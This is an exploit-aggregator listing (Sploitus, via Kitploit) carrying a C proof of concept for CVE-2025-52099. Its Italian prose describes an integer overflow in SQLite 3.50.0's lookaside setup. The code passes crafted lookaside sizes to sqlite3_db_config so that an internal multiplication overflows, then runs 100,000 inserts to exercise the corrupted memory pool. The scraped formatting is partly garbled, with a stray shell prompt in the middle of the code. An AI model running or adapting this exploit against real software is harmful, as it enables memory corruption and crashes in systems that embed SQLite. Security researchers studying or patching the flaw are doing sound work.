Sploitus

Exploit for CVE-2025-52099

kitploit · 2026-08-27

Exploit Code

MARKDOWN45 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SCREAMBBY-CVE-2025-52099
# CVE-2025-52099

un integer overflow in SQLite 3.50.0 Di seguito è fornito un proof-of-concept (PoC) per attivare un integer overflow nella funzione `setupLookaside` di SQLite 3.50.0. Questo overflow si verifica a causa della moltiplicazione non controllata di `sz * nBig`, che può avvolgere in un valore negativo e causare scritture di memoria non valide.

Testato su: Ubuntu 22.04 x86_64 con SQLite 3.50.0 (compilato personalizzato)

Codice PoC (C):

#include <stdio.h> #include <sqlite3.h>

int main() { sqlite3 *db;

root@kitploit:~
    
    
    // Open SQLite database
    if (sqlite3_open("test.db", &db)) {
        fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
        return 1;
    }
    
    // Malicious lookaside configuration
    // sz = 140, cnt = 1979733333
    // This causes internal sz * nBig to overflow and produces negative nSm
    int rc = sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, NULL, 140, 1979733333);
    if (rc != SQLITE_OK) {
        fprintf(stderr, "Failed to configure lookaside: %d\n", rc);
        return 2;
    } else {
        printf("[+] Lookaside configured\n");
    }
    
    // Create table and perform many inserts to exercise corrupted lookaside pool
    sqlite3_exec(db, "CREATE TABLE test(id INTEGER);", NULL, NULL, NULL);
    
    for (int i = 0; i < 100000; i++) {
        char sql[64];
        snprintf(sql, sizeof(sql), "INSERT INTO test(id) VALUES(%d);", i);
        sqlite3_exec(db, sql, NULL, NULL, NULL);
    }
    
    printf("[+] Insert finished. Closing DB.\n");
    sqlite3_close(db);
    return 0;